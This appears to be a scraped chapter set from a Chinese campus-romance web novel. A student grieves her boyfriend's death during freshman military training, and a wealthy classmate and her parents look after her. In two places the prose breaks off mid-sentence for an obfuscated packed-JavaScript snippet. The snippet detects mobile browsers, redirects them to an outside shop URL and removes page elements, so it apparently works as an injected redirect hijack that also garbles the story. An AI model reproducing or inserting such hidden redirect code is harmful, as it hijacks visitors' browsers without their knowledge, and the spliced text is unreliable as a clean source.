“干什么!谁允许你擅自离队的!你给我……卧槽!” 眨眼间,正在怒吼的教官也不见了。 同学们齐刷刷扭头,只见俞惟叙和教官一前一后,飞奔向不远处一个倒在地上的身影。 “谁呀?谁呀?” “咱班的吗?” “我靠,中暑了吧?” “哈?今天其实还好吧,前几天没中暑今天中暑?” 紧接着,在足球场驻扎的随训校医也赶了过去。同学们见那边忙活了一阵,倒下的那个同学被搀扶着,软绵绵地站了起来。 在几个人的身影缝隙中,大家终于看清了那是谁。 “祝岁祯!” “是祝岁祯!” “哎哎!你们寝室的祝岁祯!” 小羊站在队尾,视线刚好被别的班挡住,一听到大家说祝岁祯晕倒了,也赶紧跑了过去。 “班长!班长!我是她舍友!” “这儿没你事!回队列去!”教官扭头扔给她一句命令。 小羊焦心地看着舍友,祝岁祯双目无神,手脚无力,脸色煞白,额角的头发被汗浸得湿成一缕一缕,明明来时候还好好的…… “回去!”教官再次命令。 “哦……”小羊只能赶紧离开。 又过了半分钟,教官回到二班队伍前,要求小羊补上祝岁祯的位置。不多久一辆校园电动巡逻车开了进来,俞惟叙和医生扶着祝岁祯坐在后排,往校医院去了。 车子行驶在校园,祝岁祯连坐直的力气都没有,纤长的脖子后仰,头倒在靠背上,脆弱又无助,眼泪顺着太阳穴不停地流进鬓角。 医生一直问她哪里难受、是不是磕到头了……可祝岁祯一个字也说不出来,仿佛呼吸和流泪这两件事已经耗尽了她的力量。 到了校医院下车,俞惟叙轻轻松松给她打横抱起来,跟着校医去病房里,把她放在病床上。 医生进来,俞惟叙退出去站在门口等。他看不见里面的情况,只能听到祝岁祯不停地在哭,不像是疼痛,更像是悲痛。 他手插在裤兜里靠在墙边,眉头紧锁,心急如焚。 过了一会儿,祝岁祯似乎被医生安抚住了,抽抽嗒嗒地跟医生说了什么,他没听到。又过了一会儿,医生出来了,他被允许进去。 “她男朋友去世了,精神受到刺激。你看她有什么要帮忙的,尽量少说话,我通知她导员来。” 医生交待完就回诊室去了。 俞惟叙站在原地,静静地待了会儿才进去,搬了张椅子到她床前坐下。 祝岁祯半张脸埋在枕头里,闭着眼不说话,长长的睫毛湿答答的。 他想起什么,从口袋里掏出两个手机,拿着她的碰了碰她胳膊,放在她手边。 “需要和你爸妈联系吗?” 话音未落,她的手机震了下。 俞惟叙拿起来看一眼,是条消息,具体内容没显示。 “有人找你。” 祝岁祯纤细的手指抓着被单紧了紧,微微睁开眼,似是下定了什么决心一样。 她强撑着坐起身,拿着手机解锁,看到一条好友申请。 头像是一个中年男人穿着西装,坐在办公桌前微笑,申请备注写着:【祯祯你好,我是阿江的爸爸】 她指尖颤抖,通过验证。 路通:【孩子,方便说话吗?】 祝岁祯:【方便】 视频通话的界面弹了出来,她慌张地理理头发,按下接听。 屏幕中出现一男一女中年夫妻的脸,视频中的女人看见她以后表情立刻变得悲痛,捂住脸抽泣了起来。 祝岁祯好不容易止住的泪,瞬间又蓄满眼眶,啪嗒一下砸在衣襟上。 手机里传来女人的呜咽声,俞惟叙愣住,连口大气都没敢喘。 视频里的男人红了眼眶,搂着女人的肩安慰,转头看向手机。 “祯祯啊……阿江他……” 男人艰难地深呼吸了一下,再说话时声音变了调。 “是他没有福气……跟你……” 祝岁祯摇了摇头,泪如雨下。 路齐江的爸爸抹了把脸,按下情绪:“阿江是24号出的事,他手机没电了我们也一直没有碰。没能及时联系你。” 俞惟叙拿了点纸巾悄悄递给她,但祝岁祯哭得根本没看见。 “我们在新西兰这边,流程也走得差不多了,还有个手续要办,马上就能带他回家……好孩子你别太难过,再找个男生以后好好过日子。” 祝岁祯泣不成声:“叔叔阿姨,你们一定要保重身体。” “好,好,孩子你多孝顺孝顺爸妈,这世上他们是你最亲的人……我家阿江很喜欢你,可惜缘分浅。” 祝岁祯听了更难受,眼泪如开闸泄洪。 “哭太多伤身体。以后叔叔阿姨不会打扰你,你在北京好好学习,好好照顾自己,再见。” 屏幕闪回聊天界面,祝岁祯有种错觉,仿佛这一闪的瞬间,才是路齐江在她这里的死亡时间,从此阴阳两隔,再不相见。 那个帅气又温柔的男孩,生命定格在夏末的冰天雪地里。 几个医生护士路过病房时向里张望,俞惟叙拿着一坨纸巾,站在号啕大哭的祝岁祯旁束手无策。 导员得到消息赶到病房门口,见此情景两眼一黑,人都傻了。 不是说军训晕倒吗?这是怎么个情况! 各种乱七八糟的社会新闻、触目惊心的词句像弹幕一样滚过他的脑海。 俞惟叙看见导员如同神兵天降,喊了声“会爷!”赶紧到他跟前,小声和他简单讲了事情经过。 会爷听完拍了拍胸口,吐出一口气,小声对俞惟叙说: “吓死我了!我还以为你把她怎么了呢……她男朋友我不管,你俩别闹出什么幺蛾子就行。” 俞惟叙:……这都什么跟什么。 辅导员让俞惟叙回去继续军训,他在这里陪着。和医生聊了之后觉得她情绪方面受刺激比较大,还是及时告知她父母比较好。 祝岁祯接了妈妈的电话,哭得不能自抑。导员见状只好直接跟她妈妈沟通,知道她爸妈准备立刻坐飞机赶过来后,才放心挂电话。 杜广汇坐在椅子上,和俞惟叙一样头疼地看着她。 他本科四年都在M大金融学院读金融专业,保研本校金融,毕业后就当了今年这一届新生的辅导员。新生们刚进群的时候他让大家叫他“会爷”,意思就是他什么都会,有什么事都可以来找他。 可此时,会爷,也不会了。 他这四年不是没见过别人分手,大多吵吵闹闹尴尬收场。恋人意外去世的情况,他是头一次碰到,只好绞尽脑汁,组织安慰的词句。 祝岁祯努力抑制住悲伤,实在不好意思让导员费心,又给妈妈打过去电话,让爸妈不用来了,她自己能行。 电话那头的甄念快急死了,本来女儿高三就经历过严重的精神创伤,夫妻俩一度以为这孩子以后就不正常了……好在上天垂怜,让女儿重新振作起来,控制住了症状。 甄念接到辅导员小哥的电话,听说祝岁祯晕倒,吓得魂都快飞了。 闺女复读这一年,努力刻苦得让爸妈心疼,好不容易出色发挥考到好学校,前途光明,可不能再出什么差错了。 甄念反复安慰她,说人各有命数,小路只能陪你到这里,往后你要更努力、更幸福地活着。 通话的最后,甄念说什么也要和祝金爀一起请假过来看她,要赶飞机所以不能再聊了,让祝岁祯好好照顾自己,父母晚上会到学校。 医生又来给祝岁祯做了些检查,没发现她身上有哪里受伤,就嘱咐她好好休息,告诉导员不要让她有太大情绪波动。会爷请校医开了病历单,决定给祝岁祯先放个一天半的假。 院系老师给会爷打了个电话,祝岁祯听到他在说一些学生工作的事情,想到开学导员应该挺忙的,还有研究生课业,她不能耽误人家事。 等会爷挂了电话,祝岁祯坐起来,告诉他自己没什么大问题,想回宿舍休息。 导员担心她想不开,劝了一路。 “你回去一定得多注意着,哪里不舒服就赶紧去校医院,特别是头,磕一下子不是闹着玩儿的。” “好的。” “咱学校有心理健康咨询中心,你觉得思想上有什么负担、难受的话,可以去找老师聊聊天。很多有各种各样压力的同学,都会抽时间去和老师们说说话,能缓解不少。” “好的会爷,我记下了。” “回宿舍呢,也别老想着这个事,千万不要伤害自己,都会过去的,知道吗?可不能钻牛角尖,觉得非谁不可啦、觉得生活无趣啦这样那样的……” 她太熟悉这些劝导了,曾经听得耳朵都起茧子。 “您说的我明白,我以前也经历过好朋友去世,会朝前看的。” “哎!你这么想就对了!自己才是最重要的!” 她想了想,为了让导员放心,又补了句:“病假会扣我军训的学分吗?有点怕影响我这一学年的成绩排名。” 会爷一听,脸上神情瞬间放松下来——还能担心成绩就肯定不会轻生。 “那不能!咱有手续,我也帮你给学院和教官报备,你放心大胆地休啊,不够了再找我!” 到了宿舍,她仰面躺在床上望着天花板,心里像破了个大洞一样,一呼一吸间整个胸腔都弥漫着又闷又麻的痛。 曾经对她那么好的一个人说没就没了,她还抱怨路齐江不理她、觉得他出轨…… 她真是该死。 路齐江在这一年里像是个依靠,她每天进教室第一眼一定是看他的座位。他在,她就安心;他不在,她就分出些注意力一直等着他,直到那个拎着粥饼包子、斜挎背包的身影坐在座位上,她才能全身心投入早自习的背诵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313078|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当高考考场分配下来,发现自己竟然和路齐江同一个考点的时候,她就知道自己这次绝对稳了。 如今这颗定心丸消失了,今后的路要怎么走呢?祝岁祯伤心的同时又开始焦躁、不安。今后的人生如同骑着独轮车走钢丝,摇摇晃晃,不知道什么时候就会摔下来。 -.- 俞惟叙和教官报告归队,周围人表面上一本正经地做战术训练,实际上都在找机会想偷摸问他一句。 “那老妹儿啥情况啊?”大黄逮了个空闲打听。 俞惟叙看了一圈没人听见,小声和大黄说:“除了咱宿舍,都先别说啊!” 大黄兴奋起来。神神秘秘的,肯定不是中暑这么简单:“知道知道,快说。” “她男朋友在新西兰意外去世了。” “卧了个大槽啊!” “嘘——我告诉你是因为咱们俩宿舍熟,千万别往外传。她现在精神状态特别差,哭得快碎了。” 俩人看见教官过来了,赶紧停止嘀咕。 一个小项目训练结束,小羊扭头给大黄使了个眼色。 大黄知道女朋友在问,于是尽量小幅度动作不让别人看见。右手拇指食指一搓,给她比了个心,然后手往脖子上抹了两下。 小羊一脸疑惑,然后突然反应过来,不敢相信地看着大黄。 大黄做了个非常悲痛的表情,点了点头。 很快到了休息的时候,三个女生聚在一起,商量着要不要安慰一下祝岁祯。安慰吧,怕人家更伤心了;不安慰吧,有点说不过去。 几个女生喊俞惟叙来参谋。他先联系了导员问祝岁祯现在什么情况,导员说她在宿舍休息。 讨论了一下,大家决定不提这件事,只派一个人问问她身体状况,晚饭需不需要帮她带。 祝岁祯眼泪半干,迷迷糊糊就要睡着的时候,手机“嗡”地一下把她吵醒。 她看了眼消息,回复道: 【好多了,谢谢你们。晚上我爸妈会来学校,我跟他们一起吃饭,你们不用担心我】 “她爸妈要来?” 俞惟叙听到小羊这么说便放下心。想了想,悄悄坐到一边去,拿出手机打开订票软件。 目前掌握的信息有:她爸妈晚上到、她是源省人。 先看下源省省会到北京的高铁……到达时间太晚了应该不对,她爸妈着急来的话大概率坐飞机。 他把源省几个机场迅速查了一遍,半小时前能订的、晚上能到北京的,只有两个市的四个航班,到达时间最早的这两个班次相差也就半小时。 从机场打车过来的话……俞惟叙差不多锁定了祝岁祯爸妈到学校的时间范围。 下午的训练结束,小羊梦梦和远文没去食堂,迅速冲回宿舍。 “呀,你在睡觉吗?是不是我们把你吵醒啦。” 祝岁祯翻了个身面朝外面,看着扒在床栏的舍友们:“没事,我不困,结束了?” 三个舍友一齐聚在她床下面,满眼担心地看着她:“你爸妈什么时候来呀?会不会太晚了,我们给你带点吃的你先垫一垫吧?” 祝岁祯抱着被子虚弱地说:“我吃不下……你们不用管我,快去吃饭吧练半天了。” 舍友们怕说多了又惹得她哭,只能先去食堂。下楼时三人叽叽喳喳地聊祝岁祯。 “她刚才那个病西施的模样,哎妈呀,我要是她男朋友,死了也得从棺材板里爬出来,谁都不准抢我老婆。” “哎一古,小羊你这话说得,有病娇内味了。” “大黄跟我说过,他知道外院好多男生喜欢祯祯,不少人来找他打听。现在祯祯没男朋友,这些人肯定要开始行动了。” 梦梦摇头:“不一定哦。以我的经验,暗恋她的人肯定多,真敢表白敢追的少。” 远文:“咦?此话怎讲?我看的小说里面,漂亮的女主天天收情书礼物,收到手抽筋。” “我有个高中的学姐,和我同小区,她很漂亮,去年考进咱学校附近的那个电影学院了,表演系。” 梦梦拿出手机:“我曾经也觉得肯定很多人给她表白,但她说没有。后来我问了几个男同学,他们说不会去追太漂亮的,自己不够帅或者没钱去砸的话,肯定会被拒绝并且被兄弟嘲笑,他们丢不起这个人。” 她找到朋友圈,点开图片给远文和小羊看。 “这是我那个学姐,好看吧,真人巨瘦,细细的一条。” 小羊和远文伸长脖子看美女。 小羊:“嗯,好看,不过要是她这个长相能去上戏,咱们祯祯也可以啊。” 梦梦想了想:“表演系也不是纯看脸,还得学相关专业。” 远文举手:“哈!这个我知道!我老早就问过她了。她说小时候爸妈给她报过学表演的幼儿班,但是她胆子太小了,一上台就哭,也害怕镜头,死活不去学,就没有然后了。” 小羊叹息:“可惜咯。” 晚上军训集合,小羊看了一圈,没见俞惟叙。 “鱼仔人呢?” 大黄仰天,眼神忧郁而向往:“鱼仔要抛下我们这群朴素的无产阶级,去往奢靡的资本主义世界了……” 小羊皱了下眉头,突然想起来:“他拿到牛津的offer了?!” “对,吃饭的时候收到邮件,现在找会爷去聊出国的事了。” 5. 第五章 祝岁祯躺在床上,睁着眼,静静地看着寝室由明亮变得昏暗。 手机响了一下,甄念发来消息说出租车快开到鸟巢了,很快会到学校,让她准备下楼。 她脱掉军训的短袖,从衣柜里拿出一件黑色的宽松短袖套上,又穿了条牛仔裤,蹬了双帆布鞋。 好几天没穿自己的衣服了,看着镜子里的自己,突然觉得有些不习惯。 她别过头,不再看那张颓废的脸,决定找点事干让自己忙起来。 把军训短袖拿去公共洗漱间随便洗了下、又洗了把脸,回来晾完衣服,妈妈说已经到东门了。 祝岁祯下楼等他们。刚在宿舍楼门口的花坛边坐下,一双爱马仕运动鞋出现在她视线中。 “祝岁祯。” 她抬头,见俞惟叙没穿军训服,居然和她一样穿了黑T牛仔裤,门口的灯光照得他半边脸隐在阴影中,神色中略带关心。 “你怎么在这儿?不军训吗?”她问。 俞惟叙低头看她仰着一张素净的小脸,想起下午她哭得气噎喉干、脸和脖子原本白皙的皮肤被激得红彤彤的样子。 原来人真的会因为一个毫无血缘关系的人去世,而如此悲伤。 那个人,有那么好吗?值得你哭成这样? 他按下这些想法,平淡地开口回她:“嗯……我收到交换项目的offer了,刚才去找导员谈办手续的事。回来路过宿舍,刚好看见你。” 其实他在这附近晃悠了十来分钟。 祝岁祯努力扯出微笑:“哦哦。恭喜啊,一路顺风。” 俞惟叙挑了挑眉:“什么一路顺风,10月才开学呢。你就这么着急让我走?” “我……没有……抱歉,脑子有点乱。” “啧,看出来了,动作都比平时慢半拍。要是打你一下,你得十分钟以后才反应过来。” 祝岁祯的关注点很奇怪,缓缓道:“干嘛打我。” 他摇了摇头:“这天儿是没法聊了。那什么,你别在这儿坐着了,有蚊子,起来走动走动。” 说着,他挠了挠胳膊上的俩蚊子包。 “哦。”她慢吞吞地站起来。 俞惟叙看她那半死不活的样子,叹了口气,装作不经意地问:“你坐这儿准备兼职宿管?” “不是啦,我爸妈一会儿来。” “哦。你老家哪里的?” “源省,章市。” 他点点头。果然是章市,下午查机场的时候,只有省会城市和这个章市的航班时间是对的。 “你爸妈做什么工作,不用上班吗,能这么快过来。”他趁机打听。 祝岁祯问什么答什么:“在我们那里一个国企上班,请了假的。” “国企,挺好的,稳定。”俞惟叙点点头。 她纠正他:“稳定的穷。哦,已经不是稳定的穷了,是越来越穷,业务难做,一直降薪。” 俞惟叙唇边扬起一丝笑意。还行,这姑娘吐槽的时候能多说几句。 “那你以后可是家里的顶梁柱了,要加油啊。”他鼓励道。 祝岁祯低下头,眼里泛起哀愁。 原先她还幻想着,和路齐江毕业了在北京携手打拼互相扶持。现在只剩她一个,她真是一点信心都没了。 俞惟叙一看,她怎么又不说话了。只好再找话题:“你爸妈晚上住哪里?” 祝岁祯想了想:“咱学校的交流中心吧,再不行校外应该也有酒店。” 俞惟叙掏出手机:“这个时间了,还有空房吗,快看看。” 确认了还有空房,就是挺贵的,她算了算机票酒店价格,瞬间心疼起来。 “唉,花了好多钱啊……我真没用,给别人添麻烦还让家里破费。” 祝岁祯嘀嘀咕咕的,给俞惟叙惊呆了: “这点钱算什么,哪个爸妈不着急?你都晕倒了你知道吗!‘咣’一下子栽地上……年轻真好啊倒头就睡。头砸出包了吗?我看看。” 话音未落,手已经轻轻放在她头上,前后左右摸了摸。 祝岁祯几秒后才反应过来,脑袋躲了一下:“我没事。” 俞惟叙放下手,还想再说什么,余光看见宿舍楼东边拐角处出现两个急匆匆的身影。 这个时间段宿舍楼附近的人很少,他直觉这是祝岁祯的爸妈。 “哎哎,看看,是不是家长来了。” 祝岁祯闻言转头,立刻拔腿就奔了过去。俞惟叙眼瞅着她一瞬间从树懒变成小飞棍。 “哎哟!祯祯啊!”甄念张开双臂。 投入妈妈的怀抱,祝岁祯眼泪唰一下流了出来。 俞惟叙隔着不远不近的距离,跟她爸爸点了点头当作打招呼,没去打扰,转身往西边家属区走了。 “宝贝乖,不伤心啊,爸妈都来陪你。晚上吃了什么?” “没吃。” “怎么能不吃!走走走咱们去吃饭,你这孩子,这么长时间不吃饭?” 祝金爀看着俞惟叙远去的身影,拍了拍女儿胳膊:“祯祯,刚才旁边那男生是你同学吧?长得真帅诶,也就比我年轻时差一点儿。” 甄念给祝岁祯擦了擦眼泪。 祝金爀劝道:“闺女,天涯何处无芳草。男朋友没了咱就换一个,何必为了个小子哭死哭活的。你这个同学有对象吗?” 祝岁祯翻了个白眼,本来就难过,现在又气得要死。 甄念直接就不客气了:“你有病吧!不会说话就把嘴闭上!” 祝金爀辩驳:“不是,你没看见刚才那小孩,真的不错,个子又高……” 甄念:“我喊你来,是让你添堵的吗?” 祝金爀摆摆手求饶:“不说了不说了……” 学校的大食堂已经停伙,小食堂也没什么好吃的了。祝金爀说他之前看过网上的介绍,M大附近有号称“宇宙中心”的五道口,不如直接去那里逛逛。 爸妈跟她聊了一路,便到了五道口的美食城。三人选了家铜锅涮肉,大锅汤底咕嘟咕嘟冒着鲜活的热气,各种食材的香味从四面八方钻入鼻腔,再没胃口的人也忍不住动动筷子。 祝金爀夹起几卷肥瘦相间的薄肉片,放在女儿面前的汤锅里,鲜嫩的红肉和乳白的脂肪错落相间,立刻被烫熟翻卷。 甄念端来调好的酱汁:“来尝尝老北京特色的芝麻酱料,配上香油香菜碎,服务员说这样吃正宗。” 祝岁祯吃了第一口,爸妈才放下心。 她这会儿其实还是吃不下多少,但爸妈辛辛苦苦赶过来,她就算再难受,也得陪他们好好吃顿饭。 吃到一半她给爸妈订了房间,然后告诉舍友和导员自己跟爸妈在交流中心住,不用担心她。 吃完饭三个人往西边溜达,一路上都是小商店也没什么可看的,唯一的感触是外国人真多。直到行至这条街的尽头,成府路和中关村东路交叉口,他们才对“宇宙中心”这个称呼有了些理解。 十字路口的西北角,被四五栋灯火通明的大型写字楼占据。看了看地图,这里密密麻麻分布着各种知名科技网络公司,全国学子心目中的两所最高学府也矗立在这附近。 祝金爀看了看这附近的建筑,查了查房价,对自家闺女说: “祯祯啊,你呢,就专心学习,毕业在北京不好混就回家吧,别给自己太大压力。” 甄念白了他一眼:“能不能说点好听的?怎么就要回家了!你家里有皇位还是有公司。” 随后她对女儿说:“祯祯,世界这么大,你想去哪里都可以,咱们有实力考上985,在哪儿都不会混得差。” 祝金爀找补:“你看看这十万一平的房价,我不想让闺女焦虑嘛。” 祝岁祯无奈:“哎哟知道啦……我懂你们的意思。” 第二天祝岁祯跟爸妈睡了个大头觉,起来去食堂吃饭刚好碰见导员,爸妈和导员边吃边唠。 爸妈拜托导员多注意自家女儿,有什么事可以直接打电话聊,必要时他们还会来学校。 祝岁祯扶额:她可是大学生了,怎么还搞叫家长来学校那一套…… 吃过饭,爸妈想带她去景点玩一玩,可点开购票界面发现许多热门景区需要预约且门票全售罄……好在学校附近的圆明园还能去,就打了车带她走。 要不说古往今来的人都要在惆怅惘然的时候,去山水间纾解心绪呢,果然有用。看着湖光水色、亭台楼阁、莲花荷叶、天鹅嬉戏,确实把许多负能量都洗涤掉了。 除了大水法遗址。 逛完几个重要的景点,三人累得不行。点开地图一看,居然只走了一半。颐和园是绝对没工夫去了,下午爸妈就得回家。 -.- 回来吃了晚饭换上军训服,祝岁祯打起精神,又去了足球场。 周围几个同学对于祝岁祯的回归赶到十分惊喜,又有些担心她的状况,训练时有意无意地照顾她。 小羊和大黄都不怎么腻歪了,怕她看见勾起伤心事。俞惟叙没在,去办申请签证的资料。 中场休息的时候,队尾异常安静。以往俞惟叙在的时候还有女生来跟他聊两句,她跟着看两眼、听两句。现在她只能和舍友一起无聊地刷手机。 朋友圈里净是些出去旅游的人,看得她好羡慕。突然,她刷到了申越发的朋友圈,甚至一下午发了两个动态。 祝岁祯揉了揉眼睛,确认是他发的。 太阳绕地球转了啊这是。 申越在她印象里,每天除了学习就是学习。祝岁祯已经算是学习机器了,这人比她还拼。 只要和他认识超过三天就能发现,申越的皮肤是模拟卷、血管里流的是红蓝黑墨汁、骨骼是辞典课本和五三、肌肉是笔记本和错题集。 反正他不是个人。 路齐江就完全不一样,是个会学会玩的。可能因为家里有个收入很不错的厂子,未来没太大经济压力。每天都和同学或者学弟去打篮球,饿了就拿着走读卡偷偷溜出校外买零食,天天一副笑模样,开朗的气质还没有完全被高考摧残。 自从去年冬天三人成立学习小组,祝岁祯加上申越好友之后,就只见他发过一次朋友圈——他考上T大晒通知书的时候。 T大啊……和P大并列,一直是全国学子心目中的最高学府,谁能憋得住不晒呢。 她看了看他发的这两条朋友圈,第一条动态是军训定向越野比赛满分图片,第二条是轻武器射击训练的高分成绩。 她懂了,这人在秀。 呵,有什么好秀的?朋友圈都发几个小时了,你看看有人给你点赞评论么…… 一个都没有。 T大通知书的那条还有十来个点赞呢,她也就只加了十来个复读班的同学。 祝岁祯心里暗暗吐槽了一下,想给他点个赞,但又收了手。 毕竟申越高考后给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313079|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她表白过,祝岁祯拒绝了他。 她那时在等路齐江的表白。 -.- 第二天,天空万里有云,预报有雨。大家都在盼大雨,这样就能回宿舍歇着了。可惜等了半天也只是一点点淅淅沥沥的毛毛雨,顶多能凉快点。 中途休息时,祝岁祯旁边的女生问大黄: “袁烨煌,你知道俞惟叙什么时候回来吗?” 大黄坏笑道:“咋的?一天不见帅哥就开始盼了?” “哎呀不是我,是我老乡学姐,经管学院的,她对俞惟叙挺感兴趣,你懂的。” “好家伙,你还兼职红娘呢。我也不知道他啥时候回,你有他好友吗?直接问呐。” 那女生叹了口气:“俞惟叙不理我呢……也不理我那个学姐。” 大黄了然:“鱼仔人家多忙啊,连我们当舍友的都不一定能联系上。哎等会儿,鱼仔这就快走了,你让人跨国网恋呐?” 那女生撇了撇嘴:“我早就跟学姐说过啦,她说无所谓,她也能去英国交换。” 大黄竖起大拇指:“真行,为爱奔赴千万里啊。咱班一个鱼仔,一个祯祯,都是一堆人打听的主儿。” 祝岁祯冷不丁听见自己被提到,转头看过去。 大黄探头过来问她:“小祯砸,要是有特别不错的男生来打听你,要我们给你介绍吗?” 祝岁祯立刻摇头:“我这四年都不想谈。” 周围人听了都瞪大眼睛,但看她坚决的样子,谁也没说话。 美女竟是个痴情种…… 大家话题又回到俞惟叙身上,大黄说自己从会爷那里得知,俞惟叙比他们想象得要更厉害。 牛津只和国内五所大学有这个合作项目,另外四所都是top级院校,M大因为上一任金院院长就是牛津毕业的,才拿到了这个合作项目。因为条件和费用的原因,门槛很高,这几年五所高校只有两个人拿到offer。 M大每年都有人申请这个项目,但俞惟叙是第一个被录的,可见他多有实力。 所以这两天他要办手续,学院立刻给他放假,随便他休几天。 然后大黄透露出更多关于俞惟叙的信息,都是他和舍友们断断续续挖出来的。 比如俞惟叙11岁就被家里送去英国私立贵族中学,读了三年key stage和两年gcse,一年光学费就得六十万,加上各种学校组织的游玩活动、乐器体育装备费用、社交捐款日常开支,杂七杂八加起来每年花销得朝着百万去了。 后来因为国外爆发流行病,家里不放心他在外面,让他回国进T大附中,从高一开始入学。 所以他比这届的同学们大了个半岁、一岁的。 再比如俞惟叙雅思满分,如果不去交换,在M大是可以免修大学英语的。不像他们这些土鳖还得苦哈哈上课。 又比如他假期拿到M大录取通知,立刻在学校教师家属楼租了个装修不错的两居室,每月九千多的房租直接签了四年的合同。现在嫌转租出去麻烦,白白扔了两年的房租空着屋子。 俞惟叙收到交换项目offer的消息传出去之后,因为他是财阀二代+学阀二代,大家背地里给他起了个外号:二阀哥。 祝岁祯听着,才渐渐意识到自己和这个看着挺随和的同学差距有多远,人家从家庭条件到个人素质,全方位吊打她。 如果不是意外事件,俞惟叙肯定一直在国外上学,然后回来继承公司当霸总,两人这辈子都不一定会有交集。 -.- 小雨飘了一天,阴云在夜晚转移阵地,北京又迎来了大太阳。 祝岁祯跟舍友们去足球场,路上低头看了看手机,惊悚地发现申越居然在凌晨四点多发朋友圈。 照片是他穿着军训服、背着行囊在夜晚的马路边比剪刀手,文案: 【热血翻涌,何惧征途!20公里夜间拉练圆满完成】 祝岁祯脱口而出:“20公里?!” 舍友们凑了过来:“啥呀啥呀?” 祝岁祯抬头:“我有个同学,T大的,说他们夜里拉练20公里……” 梦梦“嗐”了一声:“我当是什么呢,还以为咱们也这么惨无人道。对,是的,他们T大就是这么变态,让新生凌晨集合,大半夜的不睡觉去徒步。” 祝岁祯觉得真是吓人:“还好我成绩差去不了T大,不然半路得死那儿。” 远文想了想:“成绩好也没事,你可以选择它隔壁那间。” 祝岁祯摇头:“P大吗?啊哈哈这种美梦我从初中就没做过了。” 上午练完匕首操,解散的时候她一个人走的。 小羊和大黄要去学校外面吃花甲米线。梦梦也去校外吃饭,她有个外校同学明天报到今天来找她玩。远文去外国语学院的卫生间,让祝岁祯不用等。 祝岁祯快走到图书馆的时候,手机突然弹出来消息,竟然是这几天一反常态,在朋友圈十分活跃的申越。 申越:【在吗?你们学校今天怎么安排?什么时候有空,找你有点事。】 祝岁祯想了想,回他: 【下午理论课,晚上是拔河,就晚饭时候有空,六点半左右吧。】 申越:【好,到时候我去找你。】 她刚回复了个【OK】,肩膀突然被人拍了一下。 “谁又找你表白了?” 竟然是消失了两天的俞惟叙。 6. 第六章 她转头,见俞惟叙穿了件薄深蓝牛仔短袖衬衫,清清爽爽地走在一群迷彩服中间,不管是穿搭还是外形,都十分惹眼,不少同学往他俩这边看。 “……有个高中同学要来找我。话说你才是那个总被表白的吧,一到休息时间就有人来问你去哪儿了。” “彼此彼此。”他扭头看了看,“你舍友呢,怎么今天就你一个?” “她们各有各的事。哦对了,你的事办完了?” “差不多吧,做了个加急。” 祝岁祯秒懂:“哦,钞能力是吧?” 俞惟叙笑道:“这算什么钞能力。真正的钞能力应该是我妈给哈佛捐栋楼,直接让我毕业。” “阿姨有这个实力吧?”祝岁祯看他,“你去做做阿姨的思想工作,以后我就有哈佛的人脉了。” 俞惟叙叹气:“你以为我没想过吗?不好使,人家嫌丢人,才不花这个冤枉钱。” 祝岁祯惊了:“啊?有钱送你去名校还丢人吗?” “是啊,她觉得砸钱硬上说明能力太差,后代智商不行。自己考的哪怕没去特别顶尖的学校,差不多的那种也勉强可以。” “嚯……”祝岁祯确实没想到。 俞惟叙给她解释了两句:“起码要证明你的能力比大多数人强,对不对,不然做决策的时候一堆人跳出来反对,怎么管别人。” 他的人生路径是当老板,而她从小被教育的是好好学习以后当打工人,思维角度自然不一样。 “啊哈,那你要加油啦小老弟,以后就是霸道总裁了。” 俞惟叙挑眉:“哎——等等,管谁叫小老弟呢?哥哥我可是19岁了。” 祝岁祯抿嘴笑道:“本姑娘也19岁,而且,大概率比你大,我1月的。” “什么!” “你几月呢?”祝岁祯看他样子,就知道她说中了。 他认命地回答:“8月。” 祝岁祯得意一笑:“嗯哼,我说什么来着。小老弟,叫姐。” 俞惟叙是不可能听她摆布的:“NO!同龄而已,别想占我便宜!你怎么会19呢?” 祝岁祯很自然地告诉他:“我复读了一年。” 俞惟叙没多问:“那我不管,你别想让我叫你姐,你也不许管我叫小老弟,听见没。” 祝岁祯耸了耸肩:“看姐的心情。我去吃饭啦,拜。” “看你心情……?”俞惟叙跟着她去食堂,“我也要去,不过没带饭卡,帮我刷俩菜吧,转账给你。” 她摇摇头:“不用转账了,谢谢你帮忙把我送去校医院。”说着把饭卡掏了出来。 俞惟叙的注意力被她的学生卡吸引,骨节分明的修长大手伸到她前面,拿走端详: “咦,你这个卡套,是咱学校的吗?哪儿弄的?” 深绿底色,上面画着男女学生卡通小人,印着M大的校徽,写着校训,看着还不错。 “报到那天打卡集章就能有,还送了pin和吧唧。就咱俩刚见面那会儿,我正好盖完最后一个章,还给你看了那张纸。” “噢!想起来了。这活动还有吗?我也想要。” “没了吧,我记得报到事项里写着数量有限、先到先得。” 见他拿着左瞧瞧右瞧瞧,祝岁祯暗道不妙:“这可是我顶着大太阳,跟我爸妈走了好久才得到的。” 说着,伸手想拿回来。 果然,俞惟叙为富不仁,仿佛地主老财相中了穷苦人家的黄花大闺女:“你看,我都把你送去校医院了对吧……” 仿佛有了个把柄在他那里,祝岁祯伸出去的手,憋屈地收了回来。 “哎,对嘛。”俞惟叙脸上带了点儿得逞的笑,动作麻利地把卡套拆下来。 “谢了,我会很珍惜的。” 祝岁祯拿着光秃秃的学生卡,在心里狠狠地揍了俞惟叙几拳。 打饭的时候,俞惟叙化身学人精,祝岁祯吃什么他就吃什么,只比她多打了一两米饭。 